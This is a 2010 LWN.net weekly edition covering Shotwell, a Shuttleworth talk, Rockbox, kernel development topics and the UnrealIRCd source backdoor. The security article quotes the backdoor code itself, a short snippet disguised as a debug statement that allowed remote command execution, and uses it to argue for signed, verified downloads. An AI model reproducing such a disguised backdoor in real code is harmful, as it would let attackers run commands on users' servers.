LWN.net Weekly Edition for June 17, 2010

A quick grumpy review of Shotwell

First, though, a grumpy note on the gthumb problem. The bugzilla entry indicates that this crash is the result of being unable to display 3D effects. Now, as far as your editor knows, gthumb has not yet acquired the ability to work with those 3D cameras which are all the rage. The 3D requirement, instead, comes from a desire to show fancy effects in the "slide show" mode. Bling is nice, but if it kills the ability to use the tool for its very two-dimensional intended task, one needs to question the priorities involved.

Unlike gthumb, Shotwell 0.5.2 is entirely happy to run without access to 3D effects. Also unlike gthumb, Shotwell will not just operate on a directory full of images; one must, instead, "import" images into the application. Importing can be done directly from a camera or from a directory. Obnoxiously, the file browser always starts in the user's home directory regardless of where the application was started - and regardless of where the user imported a directory from moments earlier. The importer is not currently able to deal with images in raw formats.

After being imported, photos are organized into "events," which are just the day in which they were taken. The default view is organized around these events, so the basic mode of interaction is one of a reverse-sorted timeline of photos. Each event has one "key photo" associated with it which is shown in the event-level views. Of course, real events often span more than one day; Shotwell provides the ability to merge the day-based events into larger groups. There does not appear to be any way to split an event apart, though. If one photographs a wedding in the morning, a business meeting after lunch, and a vuvuzela-inspired bar brawl in the evening, it's all forever a single event as far as Shotwell is concerned.

Naturally enough, there's support for attaching tags to photos. It's easy enough to quickly add tags to groups of photographs; they can only be removed from a single photo at a time, though. There is no hierarchy to tags, so the list will get long if a lot of tags are used. Tags, like events, are displayed in the left column and are easily selectable.

Shotwell has some simple image editing options, including rotation and cropping. There is a red-eye removal feature as well. The use of it is somewhat awkward; it puts a small circle on the image which the user must position over the eye and size accordingly. It does work, though, and is arguably preferable to the gthumb equivalent, which is sometimes better described as a "red face removal" feature. Shotwell has a small dialog for adjusting parameters like exposure and saturation; there is also an "enhance" button which performs some behind-the-scenes magic, not always to good effect.

The red-eye removal feature exposes one strange gap in Shotwell's feature set: there is no way to zoom in on an image. It's always "fit to window," regardless of what the user might want. This makes the placement of the red-eye tool's circle problematic on anything but a close-up photo.

Users of other image editing tools will likely be looking for a "save as" option after making some changes, but Shotwell has no such thing. Instead, all edits are squirreled away in some hidden database. Shotwell does not change the image itself; it maintains an edit list which is applied on the fly when the image is displayed. So, once some edits are made, the original photo is no longer visible in Shotwell unless the user has thought to create a duplicate prior to making changes. One can always undo changes to get back to the original once one remembers that changes have been made. There is no indication in the interface, though, that any edits have been made. One wonders if the Shotwell developers are aware of the fact that they are committing themselves to the exact behavior of all their editing primitives forever; it would be most disturbing to see pictures change in unpredictable ways after a software upgrade.

One can save out an edited version of an image using the "export" feature. Exporting is also the only time when it is possible to change the resolution of a photograph. It is not possible to change the format an image is stored in. There are also features to "publish" a photo to various proprietary web services; your editor did not test any of those.

For users who simply want a way to collect and organize their photographs, Shotwell may well be developing into a reasonable alternative. For grumpy editors, though, this application seems like the wrong approach. A directory full of photographs is exactly that; there should be no need to "import" it into some application's black box to work with the contents. Any non-trivial photographic workflow involves a number of tools, including raw editors, the Gimp, hugin, etc. Once an image disappears into Shotwell's alternative universe, it becomes unavailable for use with anything else. In other words: in your editor's view, this practice of turning a directory of image files into another, hidden directory of image files breaks the concept of having a box full of useful tools and makes Shotwell unsuitable for real use.

One also must wonder what happens, years from now, when users may want to switch to a newer, shinier application which can cope with the 3D photos they will be taking at that time. How does one transfer thousands of pictures - many with edits hidden in places known only to Shotwell - into that new application? Running "export" on them, one at a time, seems like an unappealing option. Shotwell is free software (it is LGPLv2.1-licensed), so somebody can certainly write a "set my photos free" tool for it. But, to your editor, the need for such a tool just seems wrong.

There is much to be said for innovation in this space; Linux has some nice photo management and editing software, but it can certainly get better. But one would hope that this innovation would happen in a way that does not break the toolbox concept in a domain where toolboxes are highly appropriate. Shotwell is a young utility; perhaps it will evolve and learn to play better with others and to avoid locking its users in. Until that time, it will doubtless be well received by certain classes of users, but it's certainly not for everybody.

Comments (98 posted)

Mark Shuttleworth at LinuxTag

Mark described his (and Ubuntu's) job as taking the great work done by the development community and getting it out there where people can use it. There has been a lot of progress on the development front, resulting in a great deal of top-quality software. But that's not where the job stops; getting that software to users, Mark says, is "a whole new level of awesome." Achieving this new level is his objective.

"Cadence" - the regularity and frequency of releases - has been one of Mark's talking points for a while. The conclusion that he has come to is that releases are important, they have value in and of themselves. It is, he says, more important to get a release out than to have any specific feature included in the release.

Why is that? Releases draw attention to the project and generate enthusiasm among users. Releases also can help to keep the entire community busy. Developers can run with something like a 100% duty cycle; there's always stuff to hack on. But other community members - packagers, documentation writers, artists, translators, marketing people, etc. - really need a release to focus their energies around. Regular, frequent releases thus keep the whole community engaged in the project. They are also something which free software is uniquely capable of doing: proprietary software releases are much more feature-driven and cannot be done with the same kind of regular cadence.

For a while now, Mark has been pushing the idea of a coordinated cadence across multiple projects. Quite a few projects, he says, are headed toward something like six-month release cycles; why not try to coordinate them so that distributors can all focus on the same specific releases? That kind of coordination could help projects focus their work knowing that a certain release will be picked up and widely distributed, and it should help distributors to minimize duplicated effort and get the best of what the development community has to offer. In terms of progress, Mark says that Ubuntu is getting closer to proper release cycle coordination with Debian, but no further details were offered.

Quality is another theme that Mark's talk covered; he urges the community to start thinking differently about the quality of its code. When the focus is on "hero developers," he says, quality tends to take a back seat. He would like to see a stronger focus on everyday quality in development projects, starting with broader use of automated test suites which, he says, are "made of awesome." The core rule for these projects is that the development trunk should pass the test suite after every commit.

This kind of discipline may not sit well with all developers. But there is a key advantage to a "pristine trunk" which always reaches a minimal quality bar: it encourages users to run and test development code. Ubuntu has been increasing its building of bleeding-edge packages for a number of projects; the result has been a "ten to one-hundred times increase" in the number of people testing those programs. A good set of regression tests also makes it more likely that a project will take patches from unknown developers; passing all the tests gives a level of assurance that the patch cannot break things too badly.

Mark also touched on automatic crash reporting as a highly useful tool for distributors and developers. The crash reporting tool can gather all of the relevant information and ship it off to the people who are best equipped to interpret it and, hopefully, fix the problem. Code review was also favorably mentioned, with the tools provided by Launchpad getting special attention. Such tools, he says, broaden participation in the development process and help to create a wider conversation about what's acceptable in a code patch. That, in turn, helps new developers to get started with a project.

Finally, Mark is pushing to see more attention paid to design in free software. Proper design makes the software more appealing to "ordinary users," and thus will increase their number. It can also increase pride among developers. But doing design right is a challenging task; it's not something that can always be done by developers. Mark talked a bit about the design elements which have gone into the Ubuntu Notebook Edition, including the infamously moved window icons, the creation of notifications which don't take up screen space, "category indicators" which can indicate status (and provide controls) for a number of related applications, etc. The result of all this work is a lot of new code which, he hopes, the GNOME community will be willing to accept into its mainline.

The next release is Maverick Meerkat, which Mark suggested is the "Don't panic" release. Why? Well, it seems that they've moved the release date forward slightly to October 10, which has the effect of balancing out the year's two development cycles a bit. But the binary 10/10/10 release date has appeal to hacker types, especially when one realizes that 0b101010 = 42.

Looking toward the future, Mark put up the famous chasm diagram by Geoffrey Moore. This diagram is a bell-shaped curve showing product adoption over time; there is, however, a gap between the "early adopters" and the majority of users. Getting across that gap ("chasm") can require changes in how a project is developed and marketed. Mark says that Linux as a whole still needs to cross that chasm, though specific components (the kernel in particular) have already done it.

What does Linux have to do to get to the other side? Preinstallation was at the top of Mark's list; users need to get devices which have Linux already installed on them. He also says that "obvious things should just work," where things like codecs are considered to be "obvious." We need to provide these features, but we cannot stop caring about freedom in the process. As a result of its efforts, Mark says, Ubuntu will be shipping preinstalled on five million machines this year.

Some of those machines, most likely, will be running Ubuntu Light; this is a stripped-down distribution meant to run as an "instant on" alternative on Windows machines. Ubuntu Light can get a user into a web browser within seven seconds of the power being turned on - useful when checking a web page is all that the user wants to do. To get there, Ubuntu Light has very few applications and no real file management. But it is a place for users to start, to discover a bit of Linux, and, hopefully, develop an appetite to delve into it more deeply later on.

Another area of interest is ARM processors. To Mark's surprise, the ARM-oriented sessions at the Ubuntu Developer Summit were packed; there is a lot of interest in this architecture. The Linaro initiative was mentioned as an effort to make Linux work better on ARM-based systems. There is also, evidently, a growing level of interest in ARM-based servers; that should be interesting to watch.

There was also a brief mention of cloud-oriented endeavors. "Ensemble," a way of packaging and deploying cloud-based servers, was mentioned. Also, evidently, Ubuntu is working on a project using LXC containers to run containerized systems on Amazon EC2 guests. This second level of virtualization, evidently, is useful for people wanting to run a number of services while buying only a single virtual host system.

After the end of the talk, a member of the audience asked Mark about when (if ever) Canonical might open-source the Ubuntu One server software. Mark answered that he doesn't "have an answer on how to do it and make it all work." One gets the sense that this release will not happen anytime soon. Mark did try to point out that freedom has been designed into Ubuntu One, even if the code is not free. In particular, Ubuntu One doesn't just make sure that users can get their data out; all data is stored locally as well from the outset. So users should not worry that they can be trapped in the service.

At that point, the standing-room-only session came to a close.

Comments (58 posted)

Rockbox 3.6 and beyond

Rockbox has been chugging along for years offering an open source firmware replacement for MP3 players. But how relevant is a firmware replacement for a type of device that's slowly going extinct? With the release of Rockbox 3.6 on June 3, now is a good time to check in on the state of Rockbox and the future of the project.

Rockbox is considered stable for a range of more than 20 MP3 players from Apple, Archos, Cowon, iRiver, Olympus, SanDisk, Toshiba, and several others. The project also offers unstable ports for a number of other players, and ports are in progress (but largely non-functional) for another dozen or so.

The 3.6 release is a fairly modest one. It includes support for the Packard Bell Vibe 500, which is a music player released around 2005. It also supports upgraded hard drives larger than 137GB, features a new alarm clock plugin, and adds support for Sony's ATRAC3 and other codecs. Users should see improved battery life when playing Ogg Vorbis, WMA, AAC, ATRAC3, Cook, and AC3 formats thanks to other improvements in 3.6.

Installing Rockbox on a supported player is a simple affair. The project makes GUI install managers available for Linux, Mac OS X, and Windows. This includes pre-compiled binaries for 32-bit and 64-bit Linux distributions, a Gentoo ebuild, and (of course) source code.

Many years ago, I'd tried Rockbox on the same iPod used for this review. Copying Rockbox to the device was not difficult, but required the use (if memory serves) of dd and making a backup of the original iPod firmware. Now all that is necessary is choosing the proper supported player and components that one desires on the player. It was necessary to run the installer with superuser privileges, but the installer worked well and putting Rockbox on the player only took about five minutes from start to finish.

Of equal importance, Rockbox uninstalls easily. It's possible to uninstall Rockbox and return to the original firmware using the Rockbox Utility. This takes just a minute and should restore a player to its original condition. Uninstalling seemed to work well with the iPod, though when re-installing Rockbox later it did indicate finding a prior installation, so there may be bits left behind. If so, it didn't seem to affect the player.

A quick peek at the feature comparison chart shows where the Rockbox firmware stands against the original player firmware. This compares Rockbox to Archos, iRiver, Sansa, Apple's iPods, and other supported players. It's a long list, and a few of the comparisons are a bit silly. For instance, "open source development process" goes without saying against any of the players sporting proprietary firmware. Aside from some obvious "gimmes", the feature comparison does a good job of showing how Rockbox will boost the feature set on a supported player.

By far the most useful feature, at least for this user, is the additional codec support. Few proprietary players ship with support for Ogg Vorbis or FLAC codecs. For users concerned with "free as in freedom", finding a media player that offers that support is challenging indeed. Rockbox fixes this and adds support for WMA, Apple Lossless, WAV, and AAC/MP4 across the board on all supported players.

Customization isn't a concern for most media player manufacturers. Rockbox offers themes for the players, so the menus and so forth are more attractive (or at least different) than the original firmware. The value of the themes depends on how much one cares about the look and feel of the "skins" on a media player. Some were more attractive than the default iPod theme, others were merely passable, one or two downright ugly.

Rockbox piles on the features and applications, but some work better or are more intuitive than others. I tested Rockbox 3.6 on a 20GB iPod, 4th generation. This player has the click wheel with forward/reverse, play, and menu, and a select button in the middle. When entering some applications (like the calendar), all of the buttons are used for navigation, and it takes some experimentation to figure out how to escape the application and return to the standard menus. Some of the docs do explain how to get in/out of apps, but if you don't happen to have them handy, there's no contextual help to be found.

The amount of documentation for Rockbox is impressive. The project has a manual for all supported media players, though it may not be entirely accurate. The iPod manual showed a few menus that were not available in Rockbox 3.6. It also gave little advice for copying music to the player from Linux or other operating systems.

Syncing music with Rhythmbox was an interesting experience. Rhythmbox 0.12.8 on Fedora 13 didn't want to transfer files over to the iPod when the iPod plugin was enabled. Turning that off, however, allowed me to transfer Oggs and other formats with no problem at all. After the files were copied over they showed up under the Files menu, where it seemed the player would be able to play them. Instead, when I tried to play a file, it threw an "Undefined instruction error" and I had to reboot the iPod. Playing MP3 and AAC files worked without a hitch. On a hunch, I re-installed the Rockbox firmware and then was able to play Ogg files just fine. After that, Rockbox was solid. Rockbox adds functionality, but it's not entirely glitch-free.

Rockbox also adds some nice flourishes, such as fading out music when pausing the player rather than abruptly ending a song. Strictly as a player, Rockbox works pretty well. I used it to listen to several albums in MP3 and Ogg formats, and the sound was as good as the standard firmware.

If you're inclined towards gaming, Rockbox includes all manner of games from Blackjack to Sudoku, and even Doom. It's nice to know you can play most of these games, though the actual experience leaves one wanting a bit. Navigating a game like Sudoku with the touchpad isn't difficult, but some games do not fare well on all players. Doom is a case in point. The iPod I used has a greyscale screen which was difficult to see, and the controls were not particularly responsive. Eventually I had to reboot the player because it seemed impossible to exit.

In addition, Rockbox ships some applications like a calendar, text file editor, clock, metronome, and quite a few others. Some, again, were quite glitchy. Just trying to launch the remote_control plugin, which is supposed to allow regular use of the device when plugged into USB, to test it caused an error that required a reboot.

Future of Rockbox

Dedicated MP3 / audio players are becoming a bit archaic. While it's still possible to buy media players that focus on only playing media, the market is dwindling. More users are buying multi-purpose devices like the iPod Touch, iPhone, Android devices, and so on that are quite a bit more complex than the standard devices that Rockbox has worked on so far.

Rockbox hacker Daniel Stenberg wrote in February that he sees the project moving towards an application that runs on top of Android:

The challenges are that Rockbox will need to deal with different screen sizes, deal with threading on different operating systems (Stenberg says Rockbox is "dog slow on a Nokia n900"), and focusing on only the core of Rockbox. The apps are largely redundant on platforms that already have better games and applications than what ship with Rockbox itself.

The team hasn't given up. A Rockbox DevCon was held in Europe from June 4th through 6th, where some of the Rockbox team planned at least some of the future of the project. This includes re-affirming a steering board to mediate any developer impasses, a NoDo list of items that the team has decided not to work on (such as DRM, and features that won't be implemented on Archos players), and a transition plan to GCC 4.4.4 for ARM.

Work is also proceeding on Rockbox as an Application through the Google Summer of Code program. This involves trying to port Rockbox to a standalone application that can run on a host OS like Android. The code so far is available as a git repository. This was tried previously in 2008, but seems to be making better progress now.

For now, Rockbox is a reasonable option, though not without its share of bugs, for users with aging media players looking to add free codecs and some additional functionality. However, as Stenberg notes, Rockbox will have to evolve to remain relevant in a world of smartphones, tablets, and other multi-function devices.

Comments (18 posted)

Page editor: Jonathan Corbet

Security

A backdoor in UnrealIRCd

The discovery and announcement of a backdoor in UnrealIRCd is embarrassing for the project, and is certainly a real live security vulnerability. But it is hardly the "proof" that Linux is insecure, or less secure than some other (proprietary) OS, as some pundits would have it. The problem is not Linux-specific, nor is it a problem with free software development, it is, instead, something that could happen—has happened—to any software project.

UnrealIRCd is, as its name implies, an Internet Relay Chat (IRC) server. It runs on most platforms, and has added a number of features that some folks find useful in an IRC server. It is not related to the Unreal first-person shooter game as some reported, it is simply a server that can be run to host IRC channels for a wide variety of purposes.

From what the project can tell, around November 10, 2009 the mirrors of the source distribution of version 3.2.8.1 of UnrealIRCd were replaced with a version that contained a backdoor. That backdoor could be used by an attacker to run any command on a system running the compromised server. That command would, obviously, run with the privileges of the user that executed the server. It took until June 12 for this swap to be noticed, so anyone who picked up a copy of the code in that seven month period may be vulnerable.

The backdoor was disguised to look like a debug statement in the code:

    #ifdef DEBUGMODE3
	   if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
	       DEBUG3_LOG(readbuf);
    #endif

The official Windows binaries were not affected by the backdoor, but there is no reason that they couldn't have been. The problem is that the project didn't provide any means for verifying the integrity of downloads. That allowed the switch to be made and remain undetected for so long. Since then, the project has started signing its code with GPG keys.

The affected code did make it into Gentoo, which issued an update on the 14th. But the fact that "Linux" was "backdoored" brought out the usual suspects among web pundits eager to declare that it was a watershed moment for Linux security. While it certainly was a black eye for UnrealIRCd, it clearly wasn't one for Linux as a whole. First off, UnrealIRCd is installed on very few Linux systems—it can hardly be considered a core Linux program—and even those where it is installed are likely to be running it as a separate user (e.g. ircd) with fairly low privileges.

But, even users with low privileges often have enough to be useful to attackers. One could imagine spammers and botnet herders finding ways to use the network capabilities of a basic Linux user account. The storage on the system might be useful as well. Unless the user is running the server as root, no direct system compromise should be possible, though it is important to note that a local privilege escalation in the kernel could be used to take the system over.

One of the more laughable claims about the flaw was Ed Bott's declaration that Windows virus scanners would have detected the problem had it impacted those binaries. Bott must be under the impression that virus scanners somehow magically recognize backdoors in executable code. The truth, of course, is much more prosaic: some human finds the malware and updates the signatures that the virus scanners use. Unless this exact vulnerability had already been injected into other Windows binaries—and thus a signature created—no virus scanner would pick it up.

There are certainly lessons to be learned here—integrity checking is important for one—but not those that many of the Windows-centric columnists are pushing. Windows is no more (or less) vulnerable than Linux to these kinds of attacks; when attackers can control the code that you run, it is "game over" no matter what OS you run. It is possible that SELinux, TOMOYO, or AppArmor could mitigate this kind of attack to some extent, but it is somewhat unlikely that anyone has (yet) tackled configuring any of those for a fairly obscure IRC server.

It is another reminder that we need to be more vigilant about protecting our code distribution networks. It may be somewhat less common these days—many folks get their new software from distribution repositories—but grabbing a tarball, untarring, and typing:

    ./configure; make; make install

Comments (9 posted)

Brief items

Quotes of the week

Comments (none posted)

Linux Trojan Raises Malware Concerns (PCWorld)

Comments (13 posted)

New vulnerabilities

cacti: SQL injection

Comments (1 posted)

dhcp: denial of service

Comments (none posted)

emesene: symlink attack

Comments (none posted)

flash-player: multiple vulnerabilities

Comments (none posted)

glibc: denial of service

Comments (none posted)

moin: cross-site scripting

Comments (none posted)

mono: cross-site scripting

Comments (none posted)

openssl: arbitrary code execution

Comments (none posted)

openssl: information leak

Comments (none posted)

pcsc-lite: privilege escalation

Comments (none posted)

python: multiple vulnerabilities

Comments (none posted)

samba: denial of service

Comments (none posted)

samba: arbitrary code execution

Comments (none posted)

sudo: privilege escalation

Comments (none posted)

tiff: arbitrary code execution

Comments (none posted)

unrealircd: multiple vulnerabilities

Comments (none posted)

wireshark: multiple vulnerabilities

Comments (none posted)

Page editor: Jake Edge

Kernel development

Brief items

Kernel release status

Stable updates: there have been no stable updates in the last week.

Comments (3 posted)

Quotes of the week

Comments (none posted)

Finding a patch's kernel version with git

Back in May, Jan Kara posted a VFS patch that fixed a regression and he sent the patch to the stable tree folks as well. Linus Torvalds noted that it had been introduced in the merge window, so it wasn't relevant for the stable tree. That led to a discussion about how to figure out which kernel version includes a particular patch. While the conversation is a month old, the advice is pretty much timeless.

Andrew Morton's method is rather sub-optimal: "I just keep lots of kernel trees around and poke about with `patch --dry-run'. PITA." Christoph Hellwig and James Bottomley both suggested git-describe <revid>, which will show the tag of the version a patch was applied to, or was pulled into if you use the --contains flag. As one might guess, though, Torvalds had some more elaborate suggestions. One can use git name-rev in much the same way as git-describe --contains, but a more "obscure" way to get the same kind of information is:

    git log --tags --source --author=viro --oneline fs/namei.c

    d83c49f v2.6.34 Fix the regression created by "set S_DEAD on unlink()..." commit
    3e297b6 v2.6.34-rc3 Restore LOOKUP_DIRECTORY hint handling in final lookup on op
    781b167 v2.6.34-rc2 Fix a dumb typo - use of & instead of &&
    1f36f77 v2.6.34-rc2 Switch !O_CREAT case to use of do_last()

While the specific example Torvalds gave might not be widely applicable, the basic idea behind it is. Using git-blame to track down the commit where a particular change was made is often useful, but the dates in the log can be misleading with regards to which kernel(s) the change ended up in. Using some combination of describe and log will make figuring those kinds of things out much easier.

Comments (27 posted)

The Managed Runtime Initiative

The specific problem that the MRI people (actually Azul Systems employees) have set out to solve appears to be application pauses caused by garbage collection. Their solution is implemented at several levels, some of which are found in the kernel. For the curious, the patches can be found on the MRI download page, helpfully packaged as a tarball filled with source-RPM files. They have also thoughtfully included all of Red Hat's patches; look for files containing "az" to pick the new stuff out of the noise.

The first kernel patch adds an interface for loadable memory management modules. With this in place, loadable modules can create and claim their own VMAs which they manage. The Azul-supplied module creates a special device which provides a few dozen ioctl() operations for the management of memory within those VMAs. What is actually done by this module is on the obscure side; it involves dividing memory into "accounts" with names like "GC Pause Prevention." There appears to be code to provide transparent hugepage access to interested applications. There is also some sort of relaxed locking done within the special VMAs designed to improve scalability there.

Then, there is the pluggable scheduler patch, creating a new SCHED_ALT scheduling class which sits between CFS and the realtime classes. The actual scheduler module's purpose is described as:

It allows the partitioning of the system into "committed" and ordinary CPUs, with special applications getting priority access to the committed CPUs.

The MRI web page claims that "it is the initiative's goal to upstream those related contributions into existing and complementary OSS projects (e.g. kernel.org and openjdk.org)," but the kernel-related code has never, to your editor's knowledge, been seen on any kernel-related mailing list. It is heavy with #ifdefs, light on comments, and it adds exports for large numbers of low-level functions in the scheduler and VM code. Plus there is the little detail that the development community is unlikely to agree with this code's fundamental purpose. Pluggable schedulers have been rejected in the past; until now nobody has even dared to suggest pluggable memory management modules.

In other words, we have a bunch of hackish code which was developed in total isolation; one wonders how many customers it has been shipped to. If Azul Systems and the MRI are serious about wanting to upstream it, they might just want to start talking with the development community fairly soon. One expects that they might just have a few changes to make.

Comments (100 posted)

Kernel development news

Improving lost and spurious IRQ handling

One problem which is familiar to driver authors is missing interrupts. A driver will typically set up an I/O operation, get it started, then wait until an interrupt indicating completion arrives. If that interrupt never shows up, the driver can end up waiting for a very long time. Missing interrupts can have a number of causes, including flaky devices or an interrupt routing problem somewhere in the system. Either way, if the driver author has not anticipated this situation and taken the appropriate measures - setting a timeout, for example - things will not end well.

Waiting for interrupt timeouts will slow a device's performance considerably, though. That problem can be mitigated by polling the device state frequently, but rapid polling has its own costs. In an attempt to obtain the best results consistently, Tejun's patch adds a new driver API:

    #include <linux/interrupt.h>

    struct irq_expect *init_irq_expect(unsigned int irq, void *dev_id);
    void expect_irq(struct irq_expect *exp);
    void unexpect_irq(struct irq_expect *exp, bool timedout);

A call to init_irq_expect() will allocate an opaque token to be used with the other two functions; it should be passed the interrupt number of interest and the same dev_id value as was used to allocate the interrupt initially. When the driver initiates an action which should result in a device interrupt, it should make a call to expect_irq(). When the operation is completed, unexpect_irq() should be called, with timedout indicating whether the operation timed out (the interrupt did not arrive). Note that it's not necessary for the driver to free the struct irq_expect structure; that will happen automatically when the interrupt is released.

A call to expect_irq() will initiate polling on the given interrupt line, where "polling" means making an occasional call to the device's interrupt handler. Initially, that polling is quite slow. If it turns out that the device is dropping interrupts (as indicated by the timedout parameter to unexpect_irq()), the polling frequency will be increased - up to once every millisecond. Working devices should interrupt before the slow poll period passes, so the result should be no real polling at all on reliable devices. If there is a problem with interrupt delivery, though, the kernel will automatically take responsibility for poking the interrupt handler when interrupts are expected.

This interface works well if the driver knows when to expect interrupts, but not all devices work that way. For hardware which can interrupt at any time, there is an "IRQ watching" API instead:

    void watch_irq(unsigned int irq, void *dev_id);

This function will begin polling of the specified interrupt line; it will also initiate tracking of interrupt delivery status. If it determines that interrupts are being lost (as determined by an IRQ_HANDLED return status from a polled call to the handler), it will continue to poll at a higher frequency. Otherwise, eventually, interrupt delivery will be deemed to be reliable and polling will be turned off.

Tejun's patch also changes the way that the kernel responds to spurious interrupts - those which no driver is interested in. Current kernels count the number of interrupts on each line for which no handler returned IRQ_HANDLED; if 99,000 out of 100,000 interrupts are spurious, the kernel loses patience, disables the interrupt line forevermore, and starts polling the line instead. There is a real cost to this action, which is why the kernel allows spurious interrupts to get to such a high proportion of the total. Once the response is triggered, there is no going back, even if the spurious interrupts were the result of a brief hardware glitch.

With the adaptive polling mechanisms put into place to support the above features, the kernel is also able to take a more flexible approach to handling of spurious interrupts. 9,900 bad interrupts out of 10,000 are now enough to cause the spurious interrupt handling mechanism to kick in; as before, it disables the interrupt and begins polling. After a period, though, the new code will reenable the interrupt line, just to see what happens. If the source of spurious interrupts has stopped, the interrupt can be used as before. If, instead, spurious interrupts are still being delivered, the line will be blocked again for a longer period of time.

There has not been a lot of discussion of this patch set so far; one comment worried that polling could cause users not to realize that there are problems in their systems. But Tejun says that this kind of response is required to get reasonably solid behavior out of flaky hardware, and nobody seems to want to challenge that claim. So it seems fairly likely that a future version of this patch will find its way into the mainline at some point.

Comments (4 posted)

The state of realtime Linux

In truth, the realtime preemption code has been going into the mainline, piece by piece, for years. Some recently-merged pieces include threaded interrupt handlers and the sleeping spinlock precursor patches. The threaded handlers make a number of driver tasks simpler (regardless of any realtime needs) by eliminating much of the need for tasklets and workqueues. They have also proved to be useful in providing support for some strange i2c-attached interrupt controller hardware. The spinlock changes do not affect the generated code (in mainline kernels), but they are useful for annotating the type of each lock.

Recent movements of code into the mainline notwithstanding, the realtime patchset isn't getting any smaller. It seems that the realtime developers have an interesting problem: the realtime kernel is a really good place to try out a wide variety of new features. So, despite the fact that code occasionally moves to the mainline, new stuff keeps getting added to the realtime tree.

This tree's attractiveness for the testing of new code comes from the fact that it tends to reveal scalability problems much more quickly than mainline kernels do. The extra preemptibility offered by this kernel comes at a cost: the price for lock contention is much higher. So the realtime tree shows scalability issues at lower levels of contention than non-realtime kernels. The important point is that the scalability bottlenecks encountered by realtime kernels are not unique to realtime; they just come sooner than the same bottlenecks will show up with the mainline. So realtime kernels can be used to look forward to the problems that the mainline kernel will be experiencing next year.

Thus, for example, realtime kernels exhibit scalability problems in the virtual filesystem layer that are otherwise only seen in big-iron torture-test labs. That makes them useful for testing features, and especially useful for testing scalability improvements. That is why code like the VFS scalability patch set currently makes its home in that tree. Eventually, most of these pieces will get merged into the mainline. Thomas says that it will all be in by the end of the year - but which year is not something he is willing to commit to.

The next patch set to move to the mainline might be Peter Zijlstra's memory management preemptibility series, which solves some long latencies in the memory management code; the current plan is to push these patches for 2.6.36. Another bit of code which might make the move is an option to force all drivers to use threaded interrupt handlers regardless of whether they explicitly request them. This option would almost certainly not be turned on for most production kernels, but it makes the testing of drivers with involuntarily threaded handlers easier.

The realtime tree also suffers from a few unsolved problems. One of them is latencies in the slab allocator, which runs with preemption disabled for long periods of time. The SLQB allocator had raised hopes for a while, but it appears that it will not be pushed for merging anytime soon. So the realtime hackers have to find a way to fix one of the existing allocators, or give up and write a slab allocator of their own. Thomas noted that there are still a few letters left in the SL?B namespace, so there might just be an SLRB in the future. That is all quite vague at this point, though; Thomas admitted that he has no idea how this problem will be resolved.

Another ongoing problem is the increasing use of per-CPU data. In throughput-oriented environments, per-CPU data increases scalability by eliminating contention between processors. But use of per-CPU data necessarily requires that preemption be disabled while the data is being manipulated; to do otherwise is to risk that the process working with that data will be preempted or moved to another processor, making a mess of things. Disabling preemption is anathema in an environment where everything is always supposed to be preemptable, though. So the realtime patch set currently puts a lock around per-CPU data accesses, eliminating the preemption problem but wrecking scalability. Here, too, a real solution has not yet been found.

Thomas finished with a bit of talk about testing of the realtime tree. Quite a bit of "enterprise-class" testing is done in the well-furnished labs at companies like IBM and Red Hat. At the embedded level, the Open Source Automation Development Lab has a modest testing lab of its own. But there's another interesting source of testing: the Linux audio community has been enthusiastic in its use of the realtime kernel and has helped find a number of issues. There's also a growing set of tools maintained in the rt-tests collection.

All told, the picture painted by Thomas was one of a healthy project, even if we still don't know when it will all get into the mainline. Even in the realtime world, there are things we simply have to wait for.

Comments (5 posted)

ARM and defconfig files

The kernel tree for the ARM architecture is large and fairly complicated. Because of the large number of ARM system-on-chip (SoC) variants, as well as different versions of the ARM CPU itself, there is something of a combinatorial explosion occurring in the architecture tree. That, in turn, led to something of an explosion from Linus Torvalds as he is getting tired of "pointless churn" in the tree.

A pull request from Daniel Walker for some updates to arch/arm/mach-msm was the proximate cause of Torvalds's unhappiness, but it goes deeper than that. He responded to Walker's request, by pointing out a problem he sees with ARM:

	arch/arm/configs/
	arch/arm/mach-xyz
	arch/arm/plat-blah

He goes on to note that the majority of the diffs are "mind-deadening" because they aren't sensibly readable by humans. He further analyzes the problem by comparing the sizes of the x86 and ARM trees, with the latter being some 800K lines of "code"—roughly three times the size of x86. Of that, 200K lines are default config (i.e. defconfig) files for 170+ different SoCs. To Torvalds, those files are "pure garbage".

In fact, he is "actually considering just getting rid of all the 'defconfig' files entirely". Each of those files represents the configuration choices someone made when building a kernel for a specific ARM SoC, but keeping them around is just a waste, he said:

Another problem that Torvalds identified is the proliferation of platform-specific drivers, which could very likely be combined into shared drivers in the drivers/ tree or coalesced in other ways. Basically, "we need somebody who cares, and doesn't just mindlessly aggregate all the crud". Ben Dooks agreed that there is a problem, but that "many of the big company players have yet to really see the necessity" of combining drivers. He also noted that at least some of the defconfig files were being used in automated build testing, but did agree that there are older defconfigs that should be culled.

Dooks also had a longer description of the problems that ARM maintainers have in trying to support so many different SoCs, while also trying to reduce the size and complexity of the sub-architecture trees. Essentially, the maintainers are swamped and "until it hits these big companies in the pocket it [is] very difficult to get them to actually pay" for cleaning up the ARM tree and keeping it clean in the future.

Because Torvalds said that he was planning to remove the ARM (and other) defconfig files, ARM maintainer Russell King posted a warning to the linux-arm-kernel mailing list:

That set off a separate discussion on that mailing list—King's and others' attempts to redirect it back to linux-kernel notwithstanding—about ways to reduce the amount of mostly redundant information carried around in the defconfig files. Ryan Mallon is in favor of proactively eliminating some defconfigs, while others discussed various ways to only keep the deltas between the config files for various SoCs.

Based on Torvalds's comments on linux-kernel, some kind of delta scheme is unlikely to fly. His main complaint is that the defconfig files are neither readable nor writable by humans, as they are generated by various tools. He made some specific suggestions of alternatives that would still allow the generation of those config files, using Kconfig files that are usable by humans.

Reducing the number of defconfigs, as Mallon suggested, may be helpful, but King at least is convinced that it doesn't go far enough. He believes that Torvalds has already made up his mind to remove the defconfigs in the next merge window and that the ARM community better be ready with something else:

The discussion ranged from possible solutions to the immediate defconfig problem to the larger issue of reducing the duplication throughout the ARM trees. There is an effort underway to produce a single kernel that would support multiple ARM platforms for Ubuntu 10.10, which will likely help consolidate various sub-architectures. Given that Canonical is working closely with the newly formed Linaro organization—founded to simplify ARM Linux—there is reason to believe that things will get better.

Meanwhile, though, back on linux-kernel, Torvalds started a new thread to flesh out his ideas for a hierarchical collection of Kconfig files that would essentially take the place of the defconfigs. After some back and forth, Torvalds gave an example of exactly what he is suggesting:

	config MYCONFIG
		bool
		default y
		select USB

	source arch/x86/Kconfig

	KBUILD_KCONFIG=Mykconfig make allnoconfig

